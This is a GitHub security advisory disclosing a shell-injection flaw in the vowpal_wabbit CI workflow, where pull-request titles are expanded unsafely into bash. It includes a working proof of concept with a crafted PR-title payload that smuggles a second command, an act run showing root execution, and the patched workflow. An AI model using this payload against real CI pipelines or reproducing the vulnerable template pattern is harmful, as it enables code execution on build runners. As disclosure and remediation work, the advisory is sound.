Skip to content

Shell injection via crafted PR title in python_checks.yml allows arbitrary command execution on CI runner

Moderate
JohnLangford published GHSA-cg2g-xgg7-3xxq May 5, 2026

Package

github.com/VowpalWabbit/vowpal_wabbit (Github Actions)

Affected versions

No versions

Patched versions

None

Description

Affected

  • The GitHub Actions workflow .github/workflows/python_checks.yml in the
    vowpal_wabbit repository.

Not affected

  • Any published vowpal_wabbit artifact: the vowpalwabbit PyPI wheel, the
    VowpalWabbitNative.* NuGet packages, the @vowpalwabbit/vowpalwabbit WASM
    package, the Java JAR, or the C++ library. This vulnerability exists only
    in the project's CI configuration and has no runtime effect on consumers.

Patch

Fixed by binding github.event.pull_request.title to a
PR_TITLE env var per affected step and referencing it as "$PR_TITLE" in
the script body, so bash treats the value as data rather than source.

Summary

The workflow .github/workflows/python_checks.yml embeds ${{ github.event.pull_request.title }} directly inside double-quoted bash strings in four separate steps across four jobs, each passing it as a CLI argument to the Python test script run_tests_model_gen_and_load.py. The shell interprets the expanded string before invoking Python, allowing an attacker to break out of the quotes and execute arbitrary commands on the runner. The pull_request trigger fires on PRs targeting any branch (branches: ['*']), with no additional access gate.


Vulnerable Code

File: .github/workflows/python_checks.yml

All four occurrences follow the same pattern:

on:
  pull_request:
    branches:
      - '*'

jobs:
  forward-generate:   # line 94 — also forward-test (137), backward-generate (181), backward-test (224)
    runs-on: ubuntu-22.04
    steps:
      - name: Generate models
        shell: bash
        run: |
          python3 ./test/run_tests_model_gen_and_load.py \
            --generate_models \
            --skip_pr_tests "${{ github.event.pull_request.title }}" \  # ← INJECTION (×4)
            || (echo "Model generation failed with exit code $?" && exit 1)

Lines with injection: 122 (forward-generate), 179 (forward-test), 209 (backward-generate), 262 (backward-test).

After template expansion the PR title is embedded inside "...". The breaking payload fix: update model" && echo "PWNED=$(id)" && echo " terminates the first quoted string after fix: update model, then injects echo "PWNED=$(id)" as a second shell command chained with &&. The Python script is passed "fix: update model" as its --skip_pr_tests value, exits 0 as normal, and the injected echo runs as the next command in the && chain.


Proof-of-Concept

The following steps reproduce the vulnerability locally using nektos/act. No repository write access is required.

The four injection steps each depend on a pre-built vowpalwabbit Python wheel produced by the build-wheel job (a full C++ compilation step that cannot run in standard act runner images). The PoC therefore isolates the vulnerable step into a minimal workflow and provides a stub test script that exits 0 without importing vowpalwabbit. The injection pattern — "${{ github.event.pull_request.title }}" as the last CLI argument — is copied verbatim from line 122 of the real workflow.

Step 1 — Clone the repository and create the stub test script

git clone --depth 1 https://github.com/VowpalWabbit/vowpal_wabbit /tmp/vowpalwabbit-poc
cd /tmp/vowpalwabbit-poc

Create a stub that accepts the real script's arguments and exits 0, standing in for the actual run_tests_model_gen_and_load.py which requires the compiled wheel:

mkdir -p test
cat > test/run_tests_model_gen_and_load.py << 'EOF'
#!/usr/bin/env python3
import sys
print(f"stub: args={sys.argv[1:]}")
EOF

Step 2 — Create the minimal PoC workflow and event payload

The injection site is github.event.pull_request.title. The payload closes the double-quoted --skip_pr_tests argument after fix: update model, injects an arbitrary command via &&, then reopens a string to consume the closing " that follows in the original template line.

cat > /tmp/vowpalwabbit-poc.yml << 'EOF'
name: Python Checks PoC
on:
  pull_request:
jobs:
  forward-generate:
    name: Generate models from current code
    runs-on: ubuntu-22.04
    steps:
      - uses: actions/checkout@v4
      - name: Generate models
        shell: bash
        run: |
          python3 ./test/run_tests_model_gen_and_load.py --generate_models --skip_pr_tests "${{ github.event.pull_request.title }}" || (echo "Model generation failed with exit code $?" && exit 1)
EOF
cat > /tmp/evil-vowpalwabbit-pr.json << 'EOF'
{
  "action": "opened",
  "number": 1337,
  "pull_request": {
    "number": 1337,
    "title": "fix: update model\" && echo \"PWNED=$(id)\" && echo \"",
    "body": "normal body",
    "state": "open",
    "head": {
      "ref": "fix/update-model",
      "sha": "aabbccdd1234567890aabbccdd1234567890abcd",
      "repo": { "full_name": "attacker/vowpal_wabbit", "fork": true }
    },
    "base": {
      "ref": "master",
      "repo": { "full_name": "VowpalWabbit/vowpal_wabbit" }
    },
    "user": { "login": "attacker" },
    "merged": false
  },
  "repository": {
    "full_name": "VowpalWabbit/vowpal_wabbit",
    "name": "vowpal_wabbit",
    "owner": { "login": "VowpalWabbit" }
  },
  "sender": { "login": "attacker" }
}
EOF

Injection mechanics: After template expansion the shell sees:

python3 ./test/run_tests_model_gen_and_load.py --generate_models --skip_pr_tests "fix: update model" && echo "PWNED=$(id)" && echo "" || (echo "Model generation failed with exit code $?" && exit 1)

The shell splits this at &&. The Python script receives --skip_pr_tests "fix: update model", exits 0, and echo "PWNED=$(id)" runs as the second command with id evaluated via command substitution.

Step 3 — Run act

act pull_request \
  -e /tmp/evil-vowpalwabbit-pr.json \
  -W /tmp/vowpalwabbit-poc.yml \
  --pull=false \
  -P ubuntu-22.04=catthehacker/ubuntu:act-latest

Step 4 — Observe the output

[Python Checks PoC/Generate models from current code] ⭐ Run Main Generate models
[Python Checks PoC/Generate models from current code]   🐳  docker exec cmd=[bash --noprofile --norc -e -o pipefail /var/run/act/workflow/1.sh] user= workdir=
[Python Checks PoC/Generate models from current code]   | stub: args=['--generate_models', '--skip_pr_tests', 'fix: update model']
[Python Checks PoC/Generate models from current code]   | PWNED=uid=0(root) gid=0(root) groups=0(root)
[Python Checks PoC/Generate models from current code]   | 
[Python Checks PoC/Generate models from current code]   ✅  Success - Main Generate models
[Python Checks PoC/Generate models from current code] 🏁  Job succeeded

The stub Python script received 'fix: update model' as its --skip_pr_tests argument (confirming the first quoted string terminated correctly), and the injected echo "PWNED=$(id)" ran immediately after as a second shell command, executing as root. The bash --noprofile --norc -e -o pipefail invocation shown in the output confirms set -e and pipefail are active — the injection only fires because the stub Python command exits 0, exactly as the real script would in a legitimate CI run.


Impact

Capability Notes
Arbitrary shell execution ubuntu-22.04, as root
GITHUB_TOKEN access Read-only for fork PRs
Outbound network access Attacker can exfiltrate runner environment, metadata
Repository secrets Not exposed for pull_request from forks

Who can trigger this: Any GitHub user who can open a pull request (public repo — no special access required). All four injection points fire on any PR to any branch (branches: ['*']), without any job-level gate.


Root Cause

${{ github.event.pull_request.title }} is a GitHub Actions template expression resolved before the shell sees the script. Passing it inside "..." as a command argument is equivalent to building a shell command via string concatenation — the title value is data that becomes code. The pattern appears in four separate jobs, suggesting a copy-paste origin; all four are equally exploitable.


Recommended Fix

Assign the untrusted value to an environment variable first; then reference the environment variable as the script argument:

    - name: Generate models
      env:
        PR_TITLE: ${{ github.event.pull_request.title }}
      shell: bash
      run: |
        python3 ./test/run_tests_model_gen_and_load.py \
          --generate_models \
          --skip_pr_tests "$PR_TITLE" \
          || (echo "Model generation failed with exit code $?" && exit 1)

Apply the same fix to all four occurrences (lines 122, 179, 209, 262).

To prevent this class of vulnerability from being reintroduced, consider adding zizmor to your CI pipeline. zizmor performs static analysis on GitHub Actions workflow files and flags template injection patterns, pull_request_target misuse, and other common workflow security issues before they reach production. A zizmor-action is available that uploads results as SARIF, integrating findings directly into the GitHub Security tab.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

CVE ID

CVE-2026-44723

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Improper Neutralization of Special Elements Used in a Template Engine

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. Learn more on MITRE.

Credits